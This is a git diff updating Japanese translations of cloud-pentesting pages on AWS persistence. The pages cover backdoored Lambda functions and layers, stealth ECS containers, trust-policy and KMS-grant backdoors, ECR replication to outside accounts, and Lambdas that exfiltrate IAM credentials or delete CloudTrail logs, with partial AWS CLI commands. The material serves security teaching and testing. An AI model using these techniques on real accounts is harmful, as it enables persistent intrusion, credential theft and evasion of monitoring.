-DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることにより、**隠れたバックドア**を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。
+DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることによって **ステルスバックドア** を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。
```bash
# Create a malicious Lambda function
aws lambda create-function \
@@ -34,7 +34,7 @@ aws lambda create-event-source-mapping \
--event-source \
--region
```
-永続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的な相互作用なしにAWSアカウント内でコードを実行することができます。
+持続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的なやり取りなしにAWSアカウント内でコードを実行することができます。
### DynamoDBをC2チャネルとして使用する
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index 3ecda4461..9c2314930 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -12,13 +12,13 @@
### セキュリティグループ接続追跡持続性
-防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**マシンのネットワークを隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます(ただし、NACLはサブネット全体に影響します)、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。
+防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**ネットワーク**を**隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます(ただし、NACLはサブネット全体に影響します)、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。
攻撃者が**マシンから発生したリバースシェル**を持っていた場合、SGがインバウンドまたはアウトバウンドトラフィックを許可しないように変更されても、**接続は**[**セキュリティグループ接続追跡**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**のために切断されません。**
### EC2ライフサイクルマネージャー
-このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことも可能です。\
+このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことを可能にします。\
攻撃者は**すべてのイメージまたはすべてのボリュームのAMIまたはスナップショットの生成を**毎週**スケジュール**し、**自分のアカウントと共有**することができます。
### スケジュールされたインスタンス
@@ -27,21 +27,21 @@
### スポットフリートリクエスト
-スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**立ち上げることができ、**自動IP**割り当てと、スポットインスタンスが**開始されたときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。
+スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**起動することができ、**自動IP**割り当てと、スポットインスタンスが**起動したときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。
### バックドアインスタンス
攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます:
-- 例えば、従来の**ルートキット**を使用する
+- 伝統的な**ルートキット**を使用する例
- 新しい**公開SSHキー**を追加する([EC2特権昇格オプション](../aws-privilege-escalation/aws-ec2-privesc.md)を確認)
-- **ユーザーデータ**をバックドア化する
+- **ユーザーデータ**にバックドアを仕掛ける
### **バックドア起動構成**
-- 使用されるAMIをバックドア化する
-- ユーザーデータをバックドア化する
-- キーペアをバックドア化する
+- 使用されるAMIにバックドアを仕掛ける
+- ユーザーデータにバックドアを仕掛ける
+- キーペアにバックドアを仕掛ける
### VPN
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index fde4fefc8..d22d699c2 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -4,7 +4,7 @@
## ECR
-詳細については、以下を確認してください:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-ecr-enum.md
@@ -12,7 +12,7 @@
### 悪意のあるコードを含む隠れたDockerイメージ
-攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットのAWSアカウントで持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルスにデプロイすることができます。
+攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットAWSアカウントでの持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルス方式でデプロイすることができます。
### リポジトリポリシー
@@ -41,15 +41,15 @@ aws ecr set-repository-policy \
}
```
> [!WARNING]
-> ECRを使用するには、ユーザーが**`ecr:GetAuthorizationToken`** APIを呼び出すための**権限**をIAMポリシーで持っている必要があります。**これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。**
+> ECRを使用するには、ユーザーがIAMポリシーを通じて**`ecr:GetAuthorizationToken`** APIを呼び出す**権限**を持っている必要があります。これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。
### レジストリポリシーとクロスアカウントレプリケーション
-外部アカウントでクロスアカウントレプリケーションを設定することで、レジストリを自動的に複製することが可能です。ここでは、レジストリを複製したい**外部アカウント**を**指定する**必要があります。
+クロスアカウントレプリケーションを設定することで、外部アカウントにレジストリを自動的にレプリケートすることが可能です。この際、レジストリをレプリケートしたい**外部アカウント**を**指定する**必要があります。
.png)
-まず、外部アカウントにレジストリへのアクセスを与えるために、次のような**レジストリポリシー**を設定する必要があります。
+まず、外部アカウントに対して、次のような**レジストリポリシー**を使用してレジストリへのアクセスを付与する必要があります。
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
@@ -68,7 +68,7 @@ aws ecr put-registry-policy --policy-text file://my-policy.json
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}
```
-次に、レプリケーション設定を適用します:
+その後、レプリケーション設定を適用します:
```bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 735bdb1f9..84981b09e 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -4,7 +4,7 @@
## ECS
-詳細については、以下を確認してください:
+詳細については、次を確認してください:
{{#ref}}
../aws-services/aws-ecs-enum.md
@@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
}
]'
```
-### 既存のECSタスク定義にバックドアコンテナを追加
+### 既存のECSタスク定義におけるバックドアコンテナ
> [!NOTE]
> TODO: テスト
-攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**隠れたバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用されます。
+攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**ステルスバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用される可能性があります。
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
@@ -69,12 +69,12 @@ aws ecs register-task-definition --family "existing-task" --container-definition
}
]'
```
-### Undocumented ECS Service
+### 文書化されていないECSサービス
> [!NOTE]
-> TODO: Test
+> TODO: テスト
-攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログを無効にすることで、管理者が悪意のあるサービスに気付くのが難しくなります。
+攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログ記録を無効にすることで、管理者が悪意のあるサービスに気づくのが難しくなります。
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index ba05df3e5..bde2d0c86 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -12,10 +12,10 @@
### リソースポリシー / セキュリティグループの変更
-**リソースポリシーおよび/またはセキュリティグループを変更することで**、ファイルシステムへのアクセスを持続させることができます。
+**リソースポリシーおよび/またはセキュリティグループ**を変更することで、ファイルシステムへのアクセスを持続させることができます。
### アクセスポイントの作成
-**アクセスポイントを作成することで**(`/`へのルートアクセス付き)、他の**持続性**を実装したサービスからアクセス可能にし、ファイルシステムへの特権アクセスを維持できます。
+**アクセスポイントを作成する**ことで、ファイルシステムへの特権アクセスを維持するために、他の**持続性**を実装したサービスからアクセス可能な(`/`へのルートアクセスを持つ)アクセスポイントを作成できます。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index 7ef353def..8c2282088 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -4,15 +4,15 @@
## Elastic Beanstalk
-詳細については、次を確認してください:
+詳細については、以下を確認してください:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
-### インスタンス内の持続性
+### インスタンス内の永続性
-AWSアカウント内で持続性を維持するために、**インスタンス内に持続性メカニズムを導入することができる**(cronジョブ、sshキー...)ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。
+AWSアカウント内で永続性を維持するために、**インスタンス内に永続性メカニズムを導入することができる**(cronジョブ、sshキー...)ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。
### バックドアのあるバージョン
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index 20c9f0775..cb1a73aa1 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -21,7 +21,7 @@
### バックドアロール信頼ポリシー
-信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソース(または誰にでも)それを引き受けることができるようにすることができます:
+信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソースのためにそれを引き受けることができるようにすることができます(または誰にでも):
```json
{
"Version": "2012-10-17",
@@ -42,6 +42,6 @@
### バックドア / アイデンティティプロバイダーの作成
-アカウントがすでに一般的なアイデンティティプロバイダー(例えばGithub)を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようにします。
+アカウントがすでに一般的なアイデンティティプロバイダー(例えばGithub)を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようになります。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index 8ebfb259f..d71c0c82d 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -16,11 +16,11 @@
### 永続的な付与
-付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与(同一のものでも)を持つことができます。
+付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与(同一のものも含む)を持つことができます。
したがって、ユーザーはすべての権限を持つ10の付与を持つことが可能です。攻撃者はこれを常に監視する必要があります。そして、ある時点で1つの付与が削除された場合、別の10の付与が生成されるべきです。
-(ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、10を使用しています。)
+(ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、2ではなく10を使用しています)
```bash
# To generate grants, generate 10 like this one
aws kms create-grant \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 13ab14486..81ead5af9 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -12,7 +12,7 @@
### Lambda Layer Persistence
-**任意のコードを実行するためにレイヤーを導入/バックドアする**ことが可能で、ラムダがステルスな方法で実行されるときに行えます:
+**任意のコードを実行するためにレイヤーを導入/バックドアする**ことが可能で、lambdaがステルスな方法で実行されるときに行えます:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Extension Persistence
-Lambda Layersを悪用することで、拡張機能を悪用し、ラムダに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
+Lambda Layersを悪用することで、拡張機能を悪用し、lambdaに持続させるだけでなく、リクエストを盗んだり変更したりすることも可能です。
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,13 +28,13 @@ aws-abusing-lambda-extensions.md
### Via resource policies
-外部アカウントに対して、さまざまなラムダアクション(呼び出しやコードの更新など)へのアクセスを付与することが可能です:
+外部アカウントに対して、異なるlambdaアクション(invokeやupdate codeなど)へのアクセスを付与することが可能です:
.png)
### Versions, Aliases & Weights
-ラムダは**異なるバージョン**(各バージョンに異なるコード)を持つことができます。\
+Lambdaは**異なるバージョン**(各バージョンに異なるコード)を持つことができます。\
その後、**異なるバージョンの異なるエイリアスを作成**し、それぞれに異なる重みを設定できます。\
この方法で、攻撃者は**バックドア付きのバージョン1**と**正当なコードのみのバージョン2**を作成し、**リクエストの1%でのみバージョン1を実行**してステルスを維持できます。
@@ -42,23 +42,23 @@ aws-abusing-lambda-extensions.md
### Version Backdoor + API Gateway
-1. ラムダの元のコードをコピーします
-2. **元のコードをバックドアする新しいバージョンを作成**します(または悪意のあるコードのみ)。そのバージョンを公開し、**$LATESTにデプロイ**します
-1. ラムダに関連するAPIゲートウェイを呼び出してコードを実行します
+1. Lambdaの元のコードをコピーします
+2. **元のコードをバックドアする新しいバージョンを作成**します(または悪意のあるコードのみで)。そのバージョンを公開し、**$LATESTにデプロイ**します
+1. コードを実行するためにlambdaに関連するAPIゲートウェイを呼び出します
3. **元のコードを持つ新しいバージョンを作成**し、その**バージョンを$LATESTに公開してデプロイ**します。
1. これにより、バックドア付きのコードは以前のバージョンに隠されます
-4. APIゲートウェイに移動し、**バックドア付きのラムダを実行する新しいPOSTメソッドを作成**します:`arn:aws:lambda:us-east-1::function::1`
+4. API Gatewayに移動し、**バックドア付きのlambdaの実行を行う新しいPOSTメソッドを作成**します:`arn:aws:lambda:us-east-1::function::1`
1. 最後の:1は**関数のバージョンを示す**ことに注意してください(このシナリオではバージョン1がバックドア付きのものになります)。
-5. 作成したPOSTメソッドを選択し、アクションで**`APIをデプロイ`**を選択します
-6. これで、**POST経由で関数を呼び出すと、あなたのバックドア**が呼び出されます
+5. 作成したPOSTメソッドを選択し、アクションで**`Deploy API`**を選択します
+6. これで、**POST経由で関数を呼び出すと、あなたのバックドアが呼び出されます**
### Cron/Event actuator
-**何かが起こったときや時間が経過したときにラムダ関数を実行できる**という事実は、ラムダを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\
-ここでは、**ラムダを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。
+**何かが起こったときや時間が経過したときにlambda関数を実行できる**という事実は、lambdaを持続性を得て検出を避けるための素晴らしく一般的な方法にします。\
+ここでは、**lambdaを作成してAWSでの存在をよりステルスにするためのアイデア**をいくつか紹介します。
-- 新しいユーザーが作成されるたびに、ラムダは新しいユーザーキーを生成し、攻撃者に送信します。
-- 新しいロールが作成されるたびに、ラムダは侵害されたユーザーにロールの引き受け権限を付与します。
-- 新しいCloudTrailログが生成されるたびに、それらを削除/変更します。
+- 新しいユーザーが作成されるたびに、lambdaは新しいユーザーキーを生成し、攻撃者に送信します。
+- 新しいロールが作成されるたびに、lambdaは侵害されたユーザーにロールの引き受け権限を付与します。
+- 新しいcloudtrailログが生成されるたびに、それらを削除/変更します。
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index b3bb8fa3c..0dbf5d0b4 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -19,20 +19,20 @@ Lambdaランタイム環境のデフォルトのLinuxカーネルは、“**proc
さらに、Lambda拡張は**呼び出しイベントにサブスクライブする能力**を持っていますが、AWSはこれらの拡張に生データを公開しません。これにより、**拡張がHTTPリクエストを介して送信される機密情報にアクセスできないことが保証されます。**
-Init (Rapid)プロセスは、[http://127.0.0.1:9001](http://127.0.0.1:9001/)でのすべてのAPIリクエストを監視し、Lambda拡張は初期化され、任意のランタイムコードの実行前に実行されますが、Rapidの後です。
+Init (Rapid)プロセスは、[http://127.0.0.1:9001](http://127.0.0.1:9001/)でのすべてのAPIリクエストを監視し、Lambda拡張は初期化され、Rapidの後に任意のランタイムコードの実行前に実行されます。
.png)
https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png
変数**`AWS_LAMBDA_RUNTIME_API`**は、**子ランタイムプロセス**および追加の拡張に対してRapid APIの**IP**アドレスと**ポート**番号を示します。
> [!WARNING]
-> **`AWS_LAMBDA_RUNTIME_API`**環境変数を私たちがアクセスできる**`port`**に変更することで、Lambdaランタイム内のすべてのアクションを傍受することが可能です(**中間者攻撃**)。これは、拡張がRapid Initと同じ特権で実行され、システムのカーネルが**プロセスメモリの変更**を許可するため、ポート番号の変更が可能になるからです。
+> **`AWS_LAMBDA_RUNTIME_API`**環境変数を私たちがアクセスできる**`port`**に変更することで、Lambdaランタイム内のすべてのアクションを傍受することが可能です(**中間者攻撃**)。これは、拡張がRapid Initと同じ特権で実行され、システムのカーネルが**プロセスメモリの変更を許可する**ため、ポート番号の変更が可能です。
-**拡張が任意のランタイムコードの前に実行されるため、**環境変数を変更すると、ランタイムプロセス(例:Python、Java、Node、Ruby)の起動に影響を与えます。さらに、**私たちの後に読み込まれた拡張**は、この変数に依存しており、私たちの拡張を通じてルーティングされます。この設定により、マルウェアがセキュリティ対策やログ拡張を完全にバイパスすることが可能になるかもしれません。
+**拡張が任意のランタイムコードの前に実行されるため、**環境変数を変更すると、ランタイムプロセス(例:Python、Java、Node、Ruby)の起動に影響を与えます。さらに、私たちの後に読み込まれる**拡張**は、この変数に依存しているため、私たちの拡張を経由してルーティングされます。この設定により、マルウェアがセキュリティ対策やログ拡張を完全にバイパスすることができる可能性があります。
.png)
https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png
-ツール[**lambda-spy**](https://github.com/clearvector/lambda-spy)は、**メモリ書き込み**を実行し、Lambdaリクエストから機密情報を**盗む**ために作成され、他の**拡張**の**リクエスト**を**変更する**ことさえできます。
+ツール[**lambda-spy**](https://github.com/clearvector/lambda-spy)は、**メモリ書き込み**を実行し、Lambdaリクエストから機密情報を**盗む**、他の**拡張**の**リクエスト**を**変更する**ために作成されました。
## 参考文献
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index a1fa64d52..0e6e41fac 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -4,37 +4,37 @@
## Lambda Layers
-Lambdaレイヤーは、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーには、ライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。
+Lambdaレイヤーは、**追加のコード**やその他のコンテンツを含むことができる.zipファイルアーカイブです。レイヤーにはライブラリ、[カスタムランタイム](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html)、データ、または設定ファイルを含めることができます。
**関数ごとに最大五つのレイヤー**を含めることが可能です。関数にレイヤーを含めると、**内容は実行環境の`/opt`**ディレクトリに抽出されます。
-**デフォルト**では、作成した**レイヤー**はあなたのAWSアカウントに**プライベート**です。レイヤーを他のアカウントと**共有**するか、レイヤーを**公開**することを選択できます。あなたの関数が異なるアカウントが公開したレイヤーを使用する場合、そのレイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、関数は**レイヤーのバージョンを引き続き使用できます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新したりすることはできません。
+**デフォルト**では、作成した**レイヤー**はあなたのAWSアカウントに**プライベート**です。レイヤーを他のアカウントと**共有**したり、レイヤーを**公開**することを選択できます。あなたの関数が別のアカウントが公開したレイヤーを使用している場合、そのレイヤーが削除された後や、レイヤーへのアクセス権が取り消された後でも、あなたの関数は**レイヤーのバージョンを使用し続けることができます**。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新することはできません。
コンテナイメージとしてデプロイされた関数はレイヤーを使用しません。代わりに、イメージをビルドする際に、好みのランタイム、ライブラリ、およびその他の依存関係をコンテナイメージにパッケージします。
### Python load path
-Pythonがlambdaで使用するロードパスは次のとおりです:
+Pythonがlambdaで使用するロードパスは次のとおりです:
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
-チェックしてみてください、**第二**および第三の**位置**は、**lambda layers**がファイルを解凍するディレクトリで占められています: **`/opt/python/lib/python3.9/site-packages`** および **`/opt/python`**
+チェックしてみてください、**第二**および第三の**位置**は、**lambda layers**がファイルを解凍するディレクトリによって占有されています: **`/opt/python/lib/python3.9/site-packages`** および **`/opt/python`**
> [!CAUTION]
-> 攻撃者が使用されているlambda **layer**に**バックドア**を仕掛けたり、**一般的なライブラリが読み込まれたときに任意のコードを実行する**ものを**追加**した場合、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。
+> 攻撃者が使用されているlambda **layer**に**バックドア**を仕掛けることができた場合、または**一般的なライブラリが読み込まれたときに任意のコードを実行する**ものを**追加した場合**、彼は各lambda呼び出しで悪意のあるコードを実行できるようになります。
したがって、要件は次のとおりです:
-- **被害者のコード**によって**読み込まれるライブラリ**をチェックする
-- **カスタムコードを実行し、元の**ライブラリを**読み込む**ための**lambda layers**を持つ**プロキシライブラリを作成する。
+- **被害者のコードによって**読み込まれる**ライブラリを確認する**
+- **カスタムコードを実行し、元の**ライブラリを**読み込む**lambda layersを使用した**プロキシライブラリを作成する**。
### プリロードされたライブラリ
> [!WARNING]
-> この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときに**すでに読み込まれている**のです。私は`os`や`sys`のようなものを見つけることを期待していましたが、**`json`ライブラリさえも読み込まれていました**。\
+> この技術を悪用する際に、私は困難に直面しました: 一部のライブラリは、あなたのコードが実行されるときにpythonランタイムに**すでに読み込まれています**。私は`os`や`sys`のようなものを見つけることを期待していましたが、**`json`ライブラリさえも読み込まれていました**。\
> この永続性技術を悪用するためには、コードが実行されるときに**読み込まれていない新しいライブラリを読み込む**必要があります。
-このようなpythonコードを使えば、lambda内のpythonランタイムに**プリロードされたライブラリのリスト**を取得することが可能です:
+このようなpythonコードを使用すると、lambda内のpythonランタイムに**プリロードされたライブラリのリストを取得する**ことができます:
```python
import sys
@@ -48,20 +48,20 @@ return {
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
-And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
+そして、これは**lambdaがデフォルトでインストールしているライブラリ**のリストです: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
-### Lambda Layer Backdooring
+### Lambdaレイヤーのバックドア
-In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
+この例では、ターゲットコードが**`csv`**をインポートしていると仮定します。私たちは**`csv`ライブラリのインポートにバックドアを仕掛ける**つもりです。
-For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
-Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
-This file must:
+そのために、**`/opt/python/lib/python3.9/site-packages`**に**csv**というディレクトリを作成し、その中に**`__init__.py`**ファイルを置きます。\
+その後、lambdaが実行されて**csv**を読み込もうとすると、私たちの**`__init__.py`ファイルが読み込まれ、実行されます**。\
+このファイルは以下を行う必要があります:
-- Execute our payload
-- Load the original csv library
+- 私たちのペイロードを実行する
+- 元のcsvライブラリを読み込む
-We can do both with:
+私たちは両方を次のように行うことができます:
```python
import sys
from urllib import request
@@ -87,7 +87,7 @@ sys.modules["csv"] = _csv
このコードは [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) で見つけることができます。
-統合されたペイロードは、**最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します**(コードの変更またはコールドlambda)、しかし、**他の技術**も以下のように統合することができます:
+統合されたペイロードは、**最初に呼び出されたときまたはlambdaコンテナのリセット後にIAMクレデンシャルをサーバーに送信します**(コードの変更またはコールドlambda)、しかし**他の技術**も以下のように統合することができます:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -95,14 +95,14 @@ sys.modules["csv"] = _csv
### 外部レイヤー
-**外部アカウントからのlambdaレイヤーを使用することが可能である**ことに注意してください。さらに、lambdaは、権限がなくても外部アカウントのレイヤーを使用できます。\
-また、**lambdaが持つことができるレイヤーの最大数は5です**。
+**外部アカウントからのlambdaレイヤーを使用することが可能である**ことに注意してください。さらに、lambdaは権限がなくても外部アカウントのレイヤーを使用できます。\
+また、**lambdaが持てるレイヤーの最大数は5です**。
したがって、この技術の汎用性を向上させるために、攻撃者は次のことを行うことができます:
- ユーザーの既存のレイヤーにバックドアを仕掛ける(外部のものは何もない)
